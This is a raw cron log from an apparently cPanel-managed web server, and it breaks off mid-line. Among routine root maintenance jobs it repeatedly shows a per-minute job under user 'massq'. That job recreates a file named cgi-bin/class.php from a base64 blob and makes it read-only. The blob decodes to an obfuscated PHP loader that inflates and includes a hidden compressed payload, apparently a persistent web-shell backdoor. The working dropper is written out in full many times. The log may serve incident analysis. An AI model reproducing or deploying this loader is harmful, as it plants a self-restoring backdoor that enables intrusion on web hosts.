Sep  4 14:39:01 server CROND[12559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:39:01 server CROND[12560]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 14:39:01 server CROND[12561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:39:01 server CROND[12564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:40:01 server CROND[12959]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:40:01 server CROND[12962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:40:01 server CROND[12963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:40:01 server CROND[12964]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:40:01 server CROND[12968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:40:01 server CROND[12967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:40:01 server CROND[12966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:40:01 server CROND[12965]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:41:01 server CROND[13874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:41:01 server CROND[13875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:41:01 server CROND[13877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:42:01 server CROND[14269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:42:01 server CROND[14270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:42:01 server CROND[14271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:42:01 server CROND[14268]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 14:43:01 server CROND[14647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:43:01 server CROND[14648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:43:01 server CROND[14651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:44:01 server CROND[15023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:44:01 server CROND[15024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:44:01 server CROND[15026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:45:01 server CROND[15430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:45:01 server CROND[15431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:45:01 server CROND[15437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:45:01 server CROND[15436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:45:01 server CROND[15438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:45:01 server CROND[15440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:45:01 server CROND[15439]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:46:01 server CROND[16273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:46:01 server CROND[16274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:46:01 server CROND[16275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:47:01 server CROND[16745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:47:01 server CROND[16746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:47:01 server CROND[16747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:48:01 server CROND[17132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:48:01 server CROND[17133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:48:01 server CROND[17134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:49:01 server CROND[17520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:49:01 server CROND[17522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:49:01 server CROND[17521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:50:01 server CROND[17973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:50:01 server CROND[17974]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:50:01 server CROND[17977]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:50:01 server CROND[17981]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 14:50:01 server CROND[17982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:50:01 server CROND[17984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:50:01 server CROND[17985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:50:01 server CROND[17988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLc